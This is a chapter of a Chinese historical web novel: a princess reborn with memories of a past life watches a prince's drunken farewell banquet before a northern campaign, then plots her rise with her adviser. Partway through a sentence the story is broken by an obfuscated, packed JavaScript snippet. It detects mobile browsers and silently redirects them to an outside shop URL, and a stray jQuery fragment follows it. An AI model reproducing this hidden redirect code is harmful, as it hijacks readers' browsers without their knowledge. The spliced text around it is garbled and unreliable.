咸宁四年三月,楚帝谢况正式下诏,声讨北燕,举兵北伐。
虽然近几年南楚境内大大小小的灾害不断,但粮食产量和人口增长都已经是十几年来南国的最高水平。打仗,最重要的是人和粮草,人又分上阵的士兵和后勤的民夫。总之,无论是哪一项,现在的南楚的并不缺。
先前在司州一带对阵北燕的胜利让南楚的皇帝谢况信心大增,同时也提升了楚军上上下下的将领兵卒的士气。加之北燕内部的危机仍未解除,谢况左思右想,觉得现在实在是北伐的最好时机,朝堂上下大都也都同意,于是北伐之事很顺利地推进了下去。
当然,北燕并不会坐以待毙。虽然他们不知道南楚的具体计划,但也又一度在淮南屯兵备战。
南楚这边则一切都按照原先的计划进行,江夏王谢冲被任命为主帅,从豫州出发直攻合肥,收复淮南一带的失地。
临行前,江夏王府连摆了三日的酒宴,为谢冲践行。最后一日晚上,谢冲只请了一些心腹亲属,谢宜瑶亦在其列。
“义道,为父这一去……也不知还回不回得来了!”
谢冲已经醉得恍惚,搂住了世子谢义道的肩膀,神志不清地哭诉。
“阿父,不要说这种话了。”
谢义道难得见到父亲这幅样子,心里很不是滋味。
为了给谢冲送别,谢义道特地从外地赶回了京城。战场上什么都可能发生,谁都不知道谢冲到底能不能平安归来,就连知晓前世过往的谢宜瑶也不敢打包票。
但收服淮南的失地,与直接打下整个北燕相比,并不很困难,毕竟现在淮河下游和上游基本都在南楚的控制之下。如果战事顺利,等谢冲身上有了功,将来论功行赏,权势地位自然也是水涨船高。谢况当然是看重自己的四弟,才将主帅一职交给他。
“为父……如果有个三长两短,义远、义逾他们……就拜托你了。你是长兄,义道。”
谢冲语重心长,仿佛要上的不是战场而是刑场一般。谢义道见父亲严肃,也认真起来。
“儿子明白。”
谢宜瑶坐在角落里,只抿了几口酒,她是不敢在江夏王府喝醉的,因此很是节制。江夏王一家酩酊之间,唯独她清醒着,旁观这场乱局。
“嘁。”
谢宜瑶向声音的源头望去,只见谢义远坐在谢冲的另一边,面色不虞。
想来谢义远对于谢冲过分看重长兄谢义道是心有不满的,谢宜瑶倒是很佩服他这一点,虽然是次子,但将父亲的重视和宠爱视作理所应当,如果做不到,那便是谢冲欠他的。
在这一点上,她和他倒有点相似。她也不会因为自己是女儿就觉得谢况可以顺理成章地忽视她,偏心其他的孩子,所以这么多年来才会对谢况有诸多不满。但谢宜瑶理智上知道,无论她再怎么努力,她在谢况哪里永远是比不过阿弟们的,所以她也早就不再强求。
而谢义远还陷入在天真的期待当中,不知道谢冲对他的态度。前世后来谢义道早逝,谢冲悲痛万分的同时,还想将世子之位传给爱妾所生的三子谢义逾,而非谢义远。
谢宜瑶悄悄走到谢义远身边,好言好语劝道:“义远,你也去和四叔说说话吧,嗯?”
谢义远纠结了片刻,还是听取了她的意见。虽然感情不是靠努力就可以获得的,但他要想得到谢冲作为父亲的宠爱,也不能单坐在那里翘首以待,必须要付出努力才行。
“阿父,我也敬你一杯,祝愿大楚军队旗开得胜,打得燕人抱头鼠窜……呃……”
谢义远不会说漂亮话,刚一开口便词穷了。
“不学无术,以致今日!”谢冲狠狠指着谢义远,然而随即又突然变换表情,温声细语地说道:“但好歹有一片孝心……我不在京城这段时间,你可得乖乖的。否则等我回来收拾你!”
谢义远勉强拿稳了酒杯,他还是畏惧父亲的。
“是,是。都听阿父的。”
谢冲的三子谢义逾年幼,喝了一点点酒就晕乎乎的,被他的目前带回房休息了。王妃也向来不喜欢这些场合,也早就先行离开。席间不剩下几个人了,谢宜瑶自知不该久留,也告辞回家。
临走前,谢宜瑶回头看了眼谢冲和他的两个性情迥异的儿子。他们家的内事她管不着,也不想管。毕竟谢冲是她要复仇的对象之一,现在的处境对她更为有利。
只是,不知道她和谢况的那些事,在旁人眼中也会是如此荒唐吗?
……
“江夏王居然怯战到了这种程度。”
“他向来如此。”
晚风从窗户掠过书房,带来一丝凉爽,灯影幢幢下,谢宜瑶和沈蕴芳正在舆图前促膝长谈。
沈蕴芳手指在舆图上划过,分析着局势:“可合肥应当不难拿下。如今淮南上游有义阳,下游有凤阳,而且春夏季节多雨闷热,对北兵作战不利。别说兵刃相接会如何了,北燕就是屈于形势,战略性放弃合肥也不稀奇。”
“贪生怕死乃人之常情。毕竟生死一瞬,上了战场自然会有不一样的考量。”
“贵主先前不愿趁此良机,挑拨江夏王和皇帝的关系,正是想到这点,对吧?将领对战局的影响不可忽视,我总觉得江夏王是个不稳定因素,希望不要出岔子才好。”
“但愿如此吧……”
谢冲的不可靠,谢宜瑶前世可是领略过了。如果换做旁人,谢况还可能改变主意,但既然谢况此举是给谢冲立功的机会,这个主帅可就非谢冲不可了。
她要真去劝了,反而要徒增父女间的不愉快。正好军事上的具体安排,谢况不会主动和谢宜瑶说,她又怕他起疑心,也不主动问。让谢冲当主帅,还能让她从谢冲那里想尽办法问来一些细节,也算是因祸得福了。
“父皇他还是有拿回淮南的决心的,给江夏王派的副将是个能征惯战,有了他的辅佐,我看江夏王还是有八成可能顺利合肥收复、寿阳,甚至有机会窥探青州等地。”
“而且北燕并吃不准南楚到底会从哪些地方进攻,多路并进的情况下,他们总要有利益取舍的。”
谢宜瑶点点头,认可了沈蕴芳的说法,并接着说道:“周禄出任雍州刺史后练兵秣马,南方还有在荆州
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426361|137804||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的武陵王谢凝作后盾,直接虎视眈眈地威胁着洛阳,北燕不敢出兵太多到淮河下游的。说起来这些消息还是江夏王告诉我的,可见他并不是不知道自己的优势,只是惜命罢了。”
谢况先前调兵遣将了一番,现在已经初有成效。而除了屯兵荆襄的周禄、谢凝,被调回京城的郭遐此次又得到了立功的机会,将要跟着谢冲一起出发,驻守豫州一带,听候调遣。而从襄阳回来的谢冰现在则在京口练兵,京城则由谢况的另一心腹陆渊来守卫。
虽然北伐看上去和现在的临淮公主毫无关系,但战争中的每一环都会直接影响到朝堂局势,谢宜瑶不得不时刻关注其走向。
分析到此,谢宜瑶和沈蕴芳对北伐前几战还是比较乐观的,至少收服淮南失地的问题不大。
“父皇当年也是从地方一路打上来的,郭遐、陆渊这些寒门出身的武将跟着他很久了,能有今天的地位都是靠着战功和忠心。就算不能打胜仗,也不会反过来害他。所以虽然两年前义阳被围的时候,郭遐没有听从诏令出兵,也没有被彻底抛弃,就是这个道理。而且真要上战场,还是要靠这些人,世家子弟既没几个靠得住的,皇帝又不敢把兵权交到他们手里。”
沈蕴芳道:“可这并非长久之计。这些心腹总有生老病死的一天,而他们的后代未必能有一样的才干和一样的忠心。”
“这就不是我们该操心的事了。”
相反,这对于谢宜瑶来说或许还算是件好事。
沈蕴芳沉默了片刻,半晌才说道:“之前提到引荐人才的事,我心中有了些主意。”
谢宜瑶点了点头,示意沈蕴芳说下去。
“太子和诸皇子年幼且还住在宫中,常人不好接触,而江夏王将要出兵北伐去了。接下来这段时间,我们得好好利用起来了。如果能让大家都知道皇帝看重临淮公主,他们自然会想到要走公主的门路。”
“具体该如何?”
“贵主这几年来虽然也做了好几件大事,可谓是一步一个脚印,但终究没有堂而皇之地干预政事。一直是小心翼翼,唯恐被别人猜到意图,但是依我所看,野心勃勃也并非坏事。”
谢宜瑶被沈蕴芳最后一句话勾起了兴趣。
“你的意思是?”
“要等着慧眼识珠的人上门,首先得让他们知晓临淮公主的声名,让他们知道有这么一条道路可以走。我曾听闻松阳侯毫不遮掩对太子的不满,因此也有些人暗地里想要投靠他。因此不如大胆一些,彰显自己的野心……何况大多数人即使是想破脑袋,也猜不到贵主的最终目标的。”
谢宜瑶思考着沈蕴芳这番话,意识到她这两年来确实都太过低调了。前世的失败和几十年的人生经历让她变得小心翼翼的,唯恐被人猜到了目的,行事束手束脚的。
反倒是沈蕴芳初生牛犊不怕虎,格外敢想敢干。
幸好有她在旁出谋划策。
是啊,就算有人能知道她的野心又如何呢?司砚猜到了些许,却也不能并也没有做什么。
公主想称帝,多荒唐啊,说出去又有几个人会信呢。